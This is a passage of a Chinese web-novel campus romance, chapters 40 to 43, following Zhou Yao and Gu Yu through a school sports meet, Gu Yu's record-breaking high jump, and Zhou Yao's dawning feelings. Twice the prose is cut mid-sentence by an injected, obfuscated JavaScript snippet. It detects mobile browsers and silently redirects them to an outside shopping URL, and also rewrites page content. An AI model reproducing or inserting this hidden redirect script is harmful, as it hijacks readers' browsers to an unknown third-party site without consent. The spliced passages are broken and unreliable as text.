逐渐,周窈也放松下来,只看着眼前的顾彧,不知怎么的,突然有一种踏实的感觉,好像无论发生什么事,他都会站在自己身边,就像下午,他如约出现在终点,稳稳地接住她那样。 小腿肌肉渐渐从疼痛变成酥麻,周窈情不自禁地喟叹了一声,正在按摩的顾彧手下一顿。 “嗯?”怎么就停了?周窈疑惑地向顾彧看去,对方眼神躲闪,耳廓也渐渐染上了一层粉色。 周窈猛地意识到了什么。 空荡荡的教室,他们俩孤男寡女,男生还在给女生按摩,还发出莫名其妙的声响,怎么听都不算正经吧,万一被人看到…… “晚上回去你自己还得再按一按,可以的话再热敷一下……” 周窈头都不敢抬,随便应了两声之后就低头收拾了东西回家。 刚走到楼梯口,突然猛地停了下来,身后顾彧一个不察差点撞她身上。 “怎么,呜——” 还没说完就被周窈一把捂住了嘴。 少女的掌心软软香香的,顾彧耳廓更红了。 周窈全然不察,她盯着昏暗楼道里那一高一矮两道身影…… 她竟然看到朱鑫伟和荣子涵在接吻?! 他们在,在接吻?! 接吻?! 40. 萌动 “怎么了?”顾彧探出头去想看一眼发生了什么事,周窈又火急火燎捂住了他的眼睛。 “别看!” 长长的睫毛刷过她的掌心带来的酥痒感,简直给周窈焦躁的内心火上浇油。 在拐角处等了将近五分钟,眼看着朱鑫纬带着荣子涵下了楼,顾彧才被允许睁开眼。 闭了许久的眼睛乍见光明,眼底涌起一些生理性的水汽。看着空无一人的楼道,他有些委屈地垂下眼角:“有什么是周条条能看而我不能看的?” 周窈竭力忽视自己胸腔快速跳动的心跳:“没什么,就两个人吵架……”她魂不守舍地瞎扯一通。 “吵架?”顾彧俯下身子,坏心眼地对着周窈红透了的耳朵小声说:“是那种少儿不宜的吵架吗?” “顾!彧!” 说到底顾彧也不敢真把周窈惹毛了,安抚几句之后就跟着一起下了楼。偏巧,在九班的停车位遇到了同样来取车的朱鑫纬和荣子涵,看周窈一副不敢正眼看人的模样,又看看这两人黏黏糊糊的劲,顾彧瞬间就能猜到她刚刚在楼梯口看到了什么,于是偷偷扬了下嘴角。 看似天不怕地不怕的周条条,还挺纯情呢。 很显然这件事带给了周窈极大的冲击,纵然她装出一副无事发生的样子,但顾彧还是从她看似平静的脸上,读出了几分无所适从。 “回家别忘了热敷按摩,不然明天真的会疼死你。” 周窈有些无力地朝他挥了挥手,然后头也不回地进了家门。 一整个晚上,楼道里发生的那一幕无数次在周窈脑海中掠过,一次次回放,以至于她整夜没睡。 平时也不是没接触过这些事,一中虽然禁止早恋,但校园里从来不乏偷偷摸摸走在一起的男生女生,代薇子看个什么剧磕个cp也能在她耳边说叽叽喳喳说上一整天。 只是之前这些事在她看来,跟小孩子过家家没两样,那些顶风早恋的同学们,也不过就是想学着偶像剧里演的那些,偷尝一下所谓的“爱情”,装装大人罢了 但今天看到这一幕,她才恍然发觉,原来大家是来真的,而他们也确实已经到了这种可以来真的的年纪了,再也不是过家家似的你当爸爸我当妈妈的那种小把戏了…… 翻来覆去,窗外天光微亮,借着微光,能看到放在桌上的半瓶脉动,蓝色的瓶子映着光线,在桌子上投射了一小圈光斑。 周窈看着看着,突然想起男生喝饮料时抬高的下颌线,以及吞咽时抖动的喉结,想起他的修长的手捏在自己小腿上…… 脸颊渐渐烧了起来。 啊——!什么肮脏的想法啊!赶紧从我的脑袋里滚出去! 周窈猛地拉过被子将自己蒙了起来,不愿面对这个成人的世界。 …… 早上七点十五,顾彧拎着两瓶巧克力牛奶如期等在周窈家楼下,到点了却没见她下来。正想着去她家问问,就听见一楼铁门“哐当”一声,周窈愁眉苦脸拎着书包一瘸一拐走出来。 看她那样子,就知道她没按照自己说的好好按摩热敷。 “很疼吗?” 周窈怏怏抬眼:“我现在就跟刚上岸的小人鱼一样,每一步都走在刀山火海上。”说着,她艰难地到车棚拿车,可当她坐上去时,顿时又倒抽一口凉气。 她的大腿根像撕裂般的疼,连带着屁股都疼。 “别骑了,我载你去。” 周窈扭头看了一眼顾彧那辆拉风的山地车:“你车又没有车后座,怎么载我啊?” 顾彧停好车:“我骑你的不就行了吗?” 十五分钟后,顾彧骑着周窈那辆破旧的女式自行车,载着周窈出现在校门口。一米八五的帅气男生窝在这么一辆小车上,怎么看怎么滑稽。 坐在后座的周窈试图用书包挡住自己的脸,好挡住周围那些看热闹的目光。 顾彧停下车,扭头看见她一路举着自己的书包,一脸难以置信:“周条条,你嫌弃我?!” “没有没有!”周窈摇头如拨浪鼓:“只是突然觉得,帅哥还是需要包装的。”就算是颜值巅峰期的小李子来骑她这辆老爷车,也只会显得滑稽而已。 顾彧伸手戳了戳她的额头:“我这是为了谁啊,没良心。” 忽视路人投射来的好奇目光,周窈在顾彧的搀扶下一瘸一拐来到九班座位上。 “你怎么这样啦?!”代薇子惊得大喊。 周窈“手动”调低了她的音量:“腿疼。” 代薇子从顾彧手里接过她,眼神心疼:“昨天确实太勉强了……怪不得今天是顾彧载你来。” 周窈猛地抬头:“你怎么知道?” 代薇子掏出手机:“你也不看看你邻居是谁,一举一动都被人关注着好吗?早就有人拍照发群里啦!还是年级段大群。” 若是往常,周窈肯定就白眼一翻骂一句“闲得”,但今天不知道为什么,莫名就有了那么点心虚…… “现在好啦,都在传你追到顾彧,上位成功了。” “谁追他了……”周窈小声嘟囔,全然没了以往的理直气壮。 不经意抬眼,又看到朱鑫纬和荣子涵正挨在一起不知道在看些什么,亲亲热热的,于是又慌忙把视线挪开。 代薇子注意到她的眼神,坏笑着撞了她一下:“哟,羡慕啊。” “我羡慕什么。”周窈低头从书包里掏出一套卷子来做,颇有些装模作样的味道。 “羡慕你就跟顾彧谈呗,反正你们俩这么好。” “我干嘛跟他谈啊!?”像是被踩到尾巴的猫,周窈突然提高声量,惹得周围人都朝她们这边看来。 “干嘛呀,突然这么激动,不谈就不谈呗。” 周窈压低音量,一脸讪讪:“本来就没在追他,都是蒋煜他们乱说的……” 强行集中精力做了一会题,肩膀就被人拍了两下。 顾彧递了一包伤膏贴过来:“哪里痛贴哪里。” 周窈接过:“哪来的?” 顾彧挑眉:“医务室。” “你什么时候去的医务室?” 狐狸眼不悦地低垂:“看来只有我在关心你,你却一点都不关心我,我都走这么长时间了你都没发现……” 周窈:…… “I’msorry?” 代薇子陪着周窈去厕所贴伤膏,一边等一边感叹:“这么贴心,得酸死多少女生啊。” 周窈的声音隔着门板传来:“你前段时间还说他是大猪蹄子。” 代薇子:“我承认我之前对他的声音大了些,所以你们为什么不在一起?” “我们为什么要在一起啊?”周窈推门出来,打开水龙头想洗掉手上的药味。 代薇子双手抱胸站在边上看着她:“因为你们俩很合适啊,而且那可是顾彧诶!” “你这是对他又黑转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13489725|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粉了吗?” “我只是就事论事,毕竟他对你很好,而且长得那么帅,成绩又好。”说完,代薇子看了她一眼:“别怪我没提醒你哦,学校里喜欢顾彧的可不止于奥琪,也不是所有人都跟荣子涵一样,追不到就换人的。别哪天你回过神来,顾彧已经成了别人的男朋友了。” 成了,别人的男朋友? 顾彧如果变成别人的男朋友会是怎么样?也会跟他女朋友在无人的角落接吻吗? 胸口突然胀胀的。 周窈伸手揉了揉。 代薇子注意到她的动作:“怎么了?哪难受?” 周窈又揉了两下:“没什么,就是胸闷。” / 又经过大半天的比赛,九班和一班的分数基本持平,还剩两分差距,但对此大家一点都不担心,毕竟下午跳高项目那九分早已是囊中之物了。 现在大家最关心的,只有跳高到底是朱鑫纬赢,还是顾彧输了。 “最后一刻买定离手啊!”蒋煜将试卷卷成一个桶,放在嘴边大声吆喝着,也不管史芬是不是就在边上站着。 李铭轩翘着脚笑他:“可不能再往里加人啦,再加周窈那五块钱就不够分了。” “真是的,怎么都不相信我们顾神能够逆风得胜呢?” “你相信你自己怎么不买他赢?” “我想啊,可我的钱包有自己的想法。”蒋煜甩甩头发,就听广播通知参加跳高比赛的选手预检。 “加油啊纬哥!打破纪录!干倒一班!” 朱鑫纬大手一挥,将外套一脱,换上钉鞋,腿上肌肉线条结实,一副专业运动员的架势。边上有女生偷偷在那议论,一年三百六十五天,今天是朱鑫纬最帅的一天。 “运动会限定帅哥。”说完凑在一起捂嘴笑了起来。 而另一边那位名副其实的帅哥就显得有些磨磨唧唧。 “你好了没有?人家朱鑫纬都走了。”周窈抬头,看着身边这个不停转悠的人,突然脑瓜子有些疼。 顾彧刚换好鞋,他那双钉鞋看起来笔笔新,应该就是新买的,看上去一副“新手上路”的样子,让人放不下心来。此时他正跟自己的外套较劲,拽着拉链要脱不脱:“脱了会不会冷啊,过去要等好久。” 周窈不明白他那句“等好久”是哪来的,不是预检完了上去跳就行了吗? “那我去给你买个暖宝宝?” 顾彧眼一眯:“好呀。” “好你个头!赶紧脱了衣服去预检,怎么这么磨蹭啊,全班就我一个押你赢,你可别让我赔钱!” 拉链哗啦一声拉到底,随即一件外套朝着周窈兜头盖下。 周窈伸手要拽,却明显感受到一股气息隔着薄薄的布料喷在自己耳畔。 顾彧俯下身在她耳边悄声说道:“放心吧,我不会让你输的。” 等她掀开外套,男生早已跑远。 揉了揉有些发热的耳朵,周窈心怦怦直跳,干脆抱着顾彧的外套坐在那发呆,脑子里空空的又不知道在想些什么。 突然一股熟悉的味道窜入鼻腔,她低头在衣服上嗅了嗅…… “卧槽葛朗台·周!你好像个痴汉啊!你就这么爱顾神吗?!这衣服上是有顾神的气息吗?!” 猛一抬头,就见蒋煜正在不远处一脸震惊地看着她。 “我……” 周窈扶额,这下好了,彻底说不清了。 41. 跳高比赛 运动会田赛的最后一项是跳高,径赛,也就是全校最关注的一场比赛是4×100接力,往往接力之后,这场运动会也就落下帷幕了。 九班在4×100里的表现还算不错,跑了个第四,第一是一班,分差立即又拉开了,但九班并没有因此而感到泄气,毕竟跳高朱鑫纬那九分已经是十拿九稳的了,顾彧最差也能拿个一分,现在就等着宣布本次运动会的总分第一了。为此,刚跑完接力的蒋煜等人还在主席台下等了一会,好第一时间上去领奖,却没想到等了半天才发现,跳高还没比完呢,或者换句话说,跳高的高潮还未来临呢。 “怎么回事啊?以前跳高不都在4×100之前就结束了吗?” “结束?顾彧都还没跳呢。” “一次都没跳?!” “没跳,现在高度已经一米七五了。” 周窈这会终于明白顾彧口中说的“要等很久”是什么意思了,此时场上只剩五六名选手了,但一把都没跳过的只有他一个,就连朱鑫纬这样的“种子选手”都分别在一米七和一米七五高度跳了一把,权当热身了,唯有顾彧,一个人站在边上跑跑跳跳,看似热身,但一直也没上场。 “顾神这什么操作啊?”没能在众目睽睽之下领奖的蒋煜又摸了回来,站在椅子上看这场跳高。“他之前跳过一七五吗?” 李铭轩仔细回忆了一下,摇了摇头:“没有。” “那他这……哦!我懂了!”蒋煜一拍大腿:“顾神肯定是想,反正也是输,要跳就跳个最高的,看起来还不至于那么丢脸!” “听起来离谱,但好像,还有这么点道理?” 高度很快来到了一米八,在场的就只剩三个人了,校记录保持者朱鑫纬,一把都没跳过的顾彧,和刚刚勉强跳过一七五的八班同学,但很快,他就在一米八被淘汰了,锁定第三。 “那这成绩怎么算啊?”边上有人发问。 “顾神跳不过就没成绩,这八班的直接第二了。” “啊这……” “分奴”蒋煜已经开始掏出手机算分了:“不行啊不行啊,顾神这一分不能丢啊!不然我们又得跟一班双黄蛋了!” 周窈再次将目光投向跳高场地,朱鑫纬助跑后一跃而起,姿态漂亮地跳过了一米八的高度。随后裁判询问顾彧,而顾彧依旧摇头。 “不是,顾神这搞什么啊,一米八他都不跳?” “完了完了完了,这下真的没成绩了,老天不会这样对我们吧,真要跟一班并列吗?!” “那次合唱之后,我吃鸡蛋都恶心,别再来一次了吧!” 此时场上只剩下朱鑫纬和顾彧两个人了,看似九班“内战”,实则其中一个还没有成绩…… 工作人员正在调整高度,朱鑫纬走到顾彧身边,抬了抬下巴。 “别等了吧,再等就更跳不过了,在输和输得难看里面你非要选择输得难看,切,也不知道你怎么想的,你们好学生都读书读傻了?” 顾彧轻提嘴角:“想我跳?也行,就当热身吧。” 闻言,朱鑫纬就像是看傻子一样朝顾彧看来,而顾彧只是走到裁判身边,举手示意:“我跳一米八五。” 裁判扭头问朱鑫纬:“你也一米八五?” 朱鑫纬比了个OK,而此时,观众群里一片哗然。 “顾彧终于要上场了吗?成败在此一跳了啊!” “我怎么有种不祥的预感,总感觉他要拉坨大的啊?” “闭嘴!乌鸦嘴!” 这次是顾彧先跳。 看着这条跟他身高一样高的杆子,观众也不免为他捏了把汗,毕竟到目前为止,谁都不知道顾彧的真实实力在哪,只知道他训练的时候连一米八都没跳过。 众人屏息之中,就见顾彧小幅度后撤半步,然后助跑,但速度并不快,到杆前起跳! “哎……” 一片惋惜之中,顾彧跟横杆一起落在了软垫上。助跑速度不够,起跳高度还是差了一点。 “就这?”朱鑫纬嘲讽拉满,看着刚起身的顾彧:“我可提醒你,你现在还没成绩呢,别最后成为我们没干过一班的罪魁祸首。” 顾彧扭头一笑:“放心,不会的。” 顾彧第一跳失败,但朱鑫纬却是稳稳地过了。他目前最好成绩是一米九五,学校运动会跳高记录是一米九,所以一米八五对他来说并不算什么挑战。 很快,来到了顾彧的第二次试跳,这次再跳不过,顾彧的运动会就止步于此了。 “我不敢看了!”蒋煜干脆捂住了眼睛,毕竟这一跳决定了他们是否要和一班再次成为双黄蛋。 而边上的周窈,更是替他捏了把汗,不止因为她压了顾彧赢的那五块钱,更因为,她不想看他输。 第二次试跳,明显看出顾彧做了些调整,他助跑的距离更远了,助跑速度也更快了,就见他一跃而起,以极漂亮的背越式姿态稳稳落地,而横杆则纹丝不动。 顿时,看台掌声雷动,其中最激动的就是九班了。 “卧槽!赢了啊!赢了!终于不是双黄蛋了!包揽金银!领先了一班整整七分啊啊啊啊!” 顾彧从软垫上起来,朝着面色不悦的朱鑫纬扬了扬嘴角:“成绩这不就有了?” 朱鑫纬绷紧了嘴角,看着眼前的横杆,默不作声。 随后,高度调整到一米九。全场鸦雀无声。 一米九并不是朱鑫纬目前的最好成绩,但看得出,他对这个高度并不是十拿九稳,神情十分严肃。而对于顾彧,大家则基本认定他会失败在这里,但反正分数都到手了,跳过跳不过也没这么重要了,毕竟这可是一米九哎! 然而出人意料的是,顾彧竟然一次试跳就成功了!反倒是朱鑫纬,一跳没过,全场惊诧。 现在压力反而来到了朱鑫纬这里。他沉默地调整着自己的状态,看得出,顾彧的“横空出世”给了他很大的心理负担。等了约有五分钟,他才助跑起跳。 第二跳成功。 高度升到了一米九五,朱鑫纬的最好成绩。 天色越来越暗,众人的内心也越来越焦急。 往年的运动会,都是4×100结束后,运动会也就结束了,却没想到这一次,跳高竟然比到了最后,热度压过了向来最火爆的径赛,全校师生都坐在原地看着这两人,什么时候这两人跳失败了,大家才能放学。 然而平时老师拖堂两分钟都生无可恋的学生们,此刻竟没一人想着要回家,反倒是屏气凝神地看着他们俩,猜想到底谁才是最后的冠军。 一米九五啊…… 顾彧看着眼前的高度,稍稍扭了下脚踝,身上的热量告诉他,此时的自己已经热身完毕了。于是他在举手示意之后,助跑起跳一气呵成。 又过了。 “卧槽!卧槽啊!顾神牛逼啊啊啊啊!!!” “一米九五!追平朱鑫纬的最好成绩了啊!” “朱鑫纬练了一年才跳上的一米九五,他这么轻松就过了?!” “牛啊,他就是专门来打脸朱鑫纬的吧!” “要是他今天跳过了两米……啊啊啊,不敢想不敢想!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13499478|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 人群再次沸腾,而引爆它的人此时却像个没事人似的,慢悠悠地在场边踱步。 不知是不是受到了场外的影响,朱鑫纬依旧在第二次试跳后,才跳过一米九五的高度。 现在选择权又给到了他们,是继续挑战两米,还是就此停下并列冠军。 校运动会跳高目前最好成绩是朱鑫纬在高一时跳过的一米九,此时早已被他们俩打破,但如果跳过两米,就能打破舟市高中生跳高记录。 等待期间,蒋煜等人来了一通“无用”分析:“搞不好就是两人并列第一,两米哎,朱鑫纬跳了一整年都没跳过的高度,就算他继续挑战,也不太可能在这里就跳过,刚刚看他跳一米九五都很勉强了。” 边上荣子涵立即反驳:“那又怎么样,运动精神就在于不停挑战不停突破,能跳为什么不跳!” 孔昊英推了推鼻梁上的眼镜:“顾彧搞不好能跳过,我看他刚才还有余力。” “是哎,他看起来很游刃有余的样子。” “朱鑫纬跳不过,那万一顾彧能跳过呢?” “那朱鑫纬能怄出来半桶血你信不信?” “何止啊,我要是他我的信念都得崩塌了,艰苦训练才能达到的高度,别人轻松跳过,那还跳个啥?” “哎哎哎,先别说这些没用的了,讨论讨论正事,如果真打平了,咱们的赌约怎么算啊?” 正说着,场上两人商量好了,继续挑战两米高度。 依旧是顾彧先跳,但这次他一跳并没有成功。 “怎么没成功呢?刚刚我看他一九五的时候,腰离杆子还好远呢!” “拜托,一九五和两米也差了五厘米好吗?” 显然,两米是个他们这个年纪的运动员很难企及的高度,很快,朱鑫纬也在这个高度败下阵来。 “哎,完了完了,这下并列第一了。” 周围人几乎都放弃了期待,本来这就超过了朱鑫纬的最好成绩,总不见得他这会小宇宙一爆发就能跳过了吧。另一个就更别说了,能跳过一九五都是意外之喜,就别要求更多了。 这会场上的两个人都调试了很久,约十分钟后,顾彧才举手示意开始第二次试跳。这次他姿态压得更低了,助跑距离也拉得更远了一些。他快速助跑,然后高高跃起,像条游龙一样柔软地伸展躯体,姿态优美地越了过去。 横杆轻微晃动了几下,没掉。 现场掌声雷动,就连一直自诩冷静的周窈都不自觉地拍红了手。 “顾神天降紫微星!” “记录被刷新了!” “十分!满分十分啊!!!赢了!我们九班赢了!” 后面朱鑫纬的试跳已经没了悬念,两米是他努力了一整年都没跳过的高度,自然不会突然爆发就跳过了。于是他向裁判示意,放弃了二此试跳,最终成绩止步一米九五。 “你赢了。”朱鑫纬一脸颓丧。 但顾彧倒也并未表现得多么骄傲,他只是轻轻扬了下嘴角,朝朱鑫纬伸出了手:“你也不赖。” 为期两天的运动会至此终于结束,获奖运动员上台领奖,打破了市记录的顾彧毋庸置疑地站在最中间,在负责摄影的老师示意下,举着奖状看向镜头。 不远处,周窈在人群外远远看着他,但就好像是有心电感应似的,顾彧眼神一扫,直直向她看来。冷不丁和顾彧眼神撞上,视线碰触的一刹那,周窈只觉得自己心跳“咚”得一下停摆了。 在最青葱的年纪,遇上这样一个明媚的少年,那种心中的悸动,又被称之为什么呢? 42. 风云人物 颁奖结束,九班以大比分的差距断层第一,朱鑫纬作为体育委员上台代表班级领奖,同时顾彧也因为打破了市跳高记录的优秀运动员,站上了领奖台接受表彰。 就在众人欢呼庆祝之时,周窈却避开人群一瘸一拐搬着椅子艰难往教室走,她现在急需找个安静的地方,仔细琢磨着自己刚刚的情绪叫做什么。 刚走没几步,手里的椅子就被按住了。 周窈回头,就见顾彧气喘吁吁的,像是刚跑过来。 “你怎么过来了?” “我不来你怎么办?” 周窈低头看看自己因为疼痛而姿态怪异的两条腿,没做声,默默把椅子让了出去。 就跟来时一样,顾彧一手拎一把椅子走在前面,周窈磨磨蹭蹭跟在后面,只是突如其来的沉默令人感到有些尴尬。 周窈没话找话:“你校服上喷香水了?” “你闻到了?” 周窈:…… 顾彧轻笑两声:“这你都闻不出来?” 周窈撇着嘴,掩饰自己的不自然:“我为什么要闻得出来?” “因为跟你们家用的同款洗衣液啊,上次你帮我洗校服那次,我就觉得这个味道很好闻。” “你怎么知道我家用的哪款洗衣液?” 顾彧回头,笑得一脸狡黠,贱兮兮的,他压低了声音,许是知道自己这种行为多少有点见不得人:“我去超市凑近了一个个闻的……” “噗——”周窈一个没忍住,笑了出来:“你是不是有病啊,你问我不就行了。” “那不行,被人知道以为我暗恋你。” 心里猛地咯噔一下。 周窈正想说点什么缓解胸口的不适,便又听顾彧说道:“比起暗恋周条条和被周条条追,还是后者更有面子一些。” 周窈:“有病吧你!” 等他们到楼底下的时候,人已经都走得差不多了。 明明最早出发的周窈望着眼前的楼梯,叹了口气。她现在抬腿都疼得要命。 顾彧见她迟迟没跟上来,便猜到她是腿疼:“我背你上去?” “别了吧,被人看到又要谣言满天飞了。” 顾彧低头看了她一眼,嘴角翘起:“你都壁咚我了,还怕人说?” “这事过不去了是吧!” 楼上突然登登登一阵响,蒋煜着急忙慌冲了下来,一把拦住了两人的去路。 “先别回去顾神,咱们班级门口都人山人海了!” “干嘛的?” “还能干嘛的?有一堆是校报的,说要采访你,还有一波是校广播电台的,也要采访你,还有校团委会的,说要表彰你,让你参加什么团委活动,剩下的都是来看热闹的,哦,也有可能是要给你递情书的……” 顾彧和周窈对视一眼。 可是不回教室能去哪呢? “你们找个地方躲躲吧,来来来,椅子给我,我帮你们搬上去。” 周窈皱眉:“我还要给李铭轩补课呢。” 此时蒋煜已经蹿上了二楼,声音远远传来:“他早走啦!” 行走的五十块走了,周窈免不了气闷,扫了一眼身边的“罪魁祸首”。 顾彧耸耸肩:“看我也没用啊,先找个地方躲躲吧。” 但一中就螺丝壳这么大,能躲到哪里去呢? 最后,周窈无奈地让出了自己的“秘密基地”,将顾彧带到了图书馆。 高中生大多数时间都在学习做卷子,哪有空来图书馆?类似蒋煜这样的学生,甚至不知道一中有图书馆。 但周窈常来,看她熟门熟路的样子就能知道。 刷校牌进门后,她径直走向某一排书架,挑挑拣拣选了几本书,席地而坐看了起来。 顾彧撩起书封看了一眼,都是些游记。 “你喜欢看这种书?” “嗯,没去过,有点好奇。”周窈轻轻地翻动着手里的书页,“不过总有一天我也会去的,到各种我没去过的地方,到时候我给你寄明信片,买冰箱贴。” “就不能带我一起去吗?” 周窈抿唇认真想了想:“如果你自己出路费的话。” 很好,葛朗台人设不倒。 顾彧无心打扰她看书,便自己找了本军事杂志看了起来,反倒是周窈,突然想起了一件事。 “你为什么会跳高?还这么厉害。” “从初中开始,因为奶奶走了也没人有空管我,所以一到放假我妈就把我送体校去,篮球、游泳、跳高都是在体校练的。其实我也会长跑,那时候每天都五公里打底,只不过没跟人比过,不知道成绩怎么样。” 这是周窈未曾了解过的顾彧的过去,在顾彧奶奶去世之后,他们几乎就没有来往了,或者换句话说,是周窈单方面把顾彧“拉黑”了。 “那你体能肯定很好,一定能通过招飞。” 招飞的话题又被提起,顾彧愣了一下,然后低头看向手中杂志上的战机。 图书管理安安静静,只有书页翻动的声音,与外面学生嘈杂纷乱的吵闹声比起来,这里简直像是两个世界。 不知不觉大半本书翻完,周窈眼角余光却发现顾彧放在地上的手机屏幕亮了又灭,灭了又亮。 “你手机好像有消息进来。” 顾彧闻言捡起手机,也不避着周窈,直接解锁。 满屏的好友添加申请…… 周窈扫了一眼,暗道一声:“果然是狐狸精。” 顾彧无辜地朝她看了一眼,随后将手机塞进口袋里。 回去的路上,周窈照例坐在后座,让顾彧载自己回家,只是一路上她都没说话,一想起那密密麻麻的好友申请,她就烦得很,却不知道自己在烦什么,以至于对顾彧都没什么好脸色。 顾彧不知道自己又哪里惹她不高兴了,就装着样子朝她撒娇,那黏黏糊糊的样子周窈看着更来气了。 晚上,陈娟煮了银耳冰糖雪梨,说是入秋了降燥,让周窈给顾彧也送一碗去。 周窈端着碗敲开了顾彧家的房门,房间里在放新闻联播,正经的BGM和眼前穿着背心裤衩,头发微湿眼尾发红的人根本对不上。 “银耳雪梨,我妈说要给你降燥。” 顾彧低头看了看自己身上,总觉得周窈是意有所指,但又觉得她应该不懂,于是坦然将银耳汤收下,第一勺先喂到周窈嘴边。 周窈别开脸:“我在家喝了两碗了。” “哦。”顾彧自己喝了一口,转而又问:“你还生气吗?” 周窈嘴硬:“我生什么气?” 顾彧抹了一把头发上滴下的水珠:“那我怎么知道,你们女生不就喜欢莫名其妙的生气吗?”说完,他似是终于想通了什么,单手撑着门框低声道:“你是不是不喜欢别人加我好友?” 顿时,周窈像是被人踩了尾巴的猫,瞬间就炸了毛,音调也高了许多:“别人加你好友关我什么事啊?!” “那你干嘛生气。” “你管我。” 顾彧垂眼盯着周窈看了几秒,嘴角突然扬起一抹了然的笑。他伸手在周窈头上摸了两把:“放心吧,我一个都没加,好友列表里有一个周条条就够了 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蒋煜看着那些徘徊在班级门口的人影,不免感叹:“这就是做风云人物的代价吗?一举一动都暴露在大众目光之下……而且你知道多离谱吗?中午我和顾神去路对面吃沙县,店家都认出他了!!还送了他一瓶冰阔落!” 代薇子见怪不怪:“舟市小地方,什么事朋友圈一发,不用半天就传遍全市了。上次我们家对面那幢楼,有个男小三光着挂在墙外面,两个小时后以后,他姓名、公司、家庭住址就都被扒清楚了,直接社死。” “光着的男小三?!你看见了?!完蛋了,你的眼睛脏了,代代!” 代薇子翻了个白眼:“猪屁股也是白白的两瓣,有什么区别?” 而周窈则是支着手臂,托腮望着身后正在呼呼大睡的顾彧。 他桌上还摊着没来得及处理的情书,他就趴在情书堆里睡觉,甚至还拿一封情书盖在眼睛上遮光,一副完全不当一回事的样子。 也是,从小到大他都是人群里最闪耀的那个,早已经适应这样被追捧的生活了。平心而论,他确实长得帅,学习好,现在体育也这么好,比赛跟热血漫画似的,如果世界上真存在什么完美的人,那大概真的是顾彧这样的。 一时间周窈觉得有些失落,她甚至有些慌张,顾彧看着是要去明亮的世界的,而那样的世界,她不知道自己能不能也去得了。 “哎,葛朗台·周,钱我打给你了啊。” “钱?什么钱?”周窈堪堪回神。 蒋煜一脸惊讶:“你不会忘了吧!你可是葛朗台啊!就是上次的赌约啊,全班只有你压了顾神赢!” 闻言,周窈打开手机钱包一看,竟然赚了一百多! 看不出来啊,有一天她竟然还能靠顾彧赚钱!想到这,她看向顾彧的眼神,就仿佛在看一个金饽饽。 蒋煜见她数钱熟得开心,便凑上来低声问:“哎,阿周,你不会早就知道顾神跳高这么厉害吧?这就见外了不是,以后有这种内部消息,也告诉小弟一声啊,有钱大家赚嘛!” 闻言,周窈刚刚还一脸明媚,瞬间又暗淡了下来。她突然觉得,纵然自己算是跟顾彧一起长大,但眼前这个小伙伴,已经让她感觉到陌生了。 在他们没怎么见面的三四年里,顾彧变了太多了,也长大太多了。以前她觉得顾彧就在自己的世界里,每天一推门就能看到。可是现在,她却觉得顾彧的世界好大,而自己很渺小。 “喂,阿周,想什么呢,问你话呢,你是不是提前就知道啊?” 周窈垂下眼,低声回道:“我怎么会知道……我对他一无所知。” 43. 补习 无论运动会有多么热闹又热血沸腾,高中生的本职工作依旧还是学习。很快,在满得连喘息时间都没有的课程中,在做不完的卷子里,在各种大大小小的考试的冲击下,运动会的余韵终于渐渐消散,每日来走廊上蹲点来看顾彧的人也逐渐减,日子似乎又恢复到寻常。 但只有周窈知道,自己对顾彧的态度已经发生了极大的改变,比如经常在和顾彧对视时感受到悸动,比如在听到他名字时,心都会一紧。但因为她身边没有通情达理的妈妈能诉说心事,也没有交心的朋友能互道秘密,所以周窈并不知道该怎么处理这份感情,在课业的压力下,就只能将它埋藏在心底,并试图回避顾彧。 最先觉察到周窈不对劲的,不是代薇子也不是蒋煜,甚至都不是顾彧,而是曾经的“情敌”于奥琪。 课间操结束的时候,于奥琪特地从十三班的队伍里跑过来找周窈,问她为什么最近都不跟顾彧一块了。 “你们分手了?”于奥琪问得直白。 周窈无奈地翻了个白眼:“我没跟顾彧在一起。” “但是大家都传你们在一起了。” “那是谣言。” “哦,那你们是吵架了?” “也没有!你找我就是问这个的?” 于奥琪撩了撩自己的刘海:“我来就是给你提个醒,运动会虽然过去了,不过顾彧的热度可没降低,连高一的妹妹都开始给他送情书了,你可要加油啊,不然我会后悔自己的退出的。” 情书这事周窈自然是知道的,顾彧就坐她后面,课桌里的情书都塞得满满当当的,她甚至见过顾彧随手在信封背面打草稿。 但加油,她加哪门子油。 “都说了我没有在追他。” “行吧行吧,反正哪天顾彧要是被别人追走了,你可别哭。” 周窈看了她一眼:“你都没哭我哭什么。”说完转身走了。 看似潇洒,实则内心酸胀只有她自己清楚。 边上等她的代薇子问:“于奥琪又找你干嘛?” 周窈咽下酸楚:“打听顾彧的。” 代薇子惊讶:“她还没放弃呢?这顾彧是给她下蛊了吧。” 周窈撇撇嘴,被下蛊的何止于奥琪呢? …… 关于顾彧的这道题周窈解不开,但关于现阶段人生的课题她门儿清得很。她清楚地知道要改变自己的命运,唯有读书,考上好的大学,所以那些有的没的被她统统抛之脑后,因为期中考试马上就要到了。 对于这次考试,周窈几乎可以说是使出了浑身解数,毕竟这次的成绩,直接关乎到她能不能考进冬令营。 “别算啦。”课间,荣子涵经过周窈身边,看见她在那对着模拟卷算分数:“你起码数学要考到145才有可能进冬令营。” “你怎么知道?”周窈惊讶地问。 荣子涵轻哼一声:“我认识的姐姐考上过夏令营,她告诉我的。” 145…… 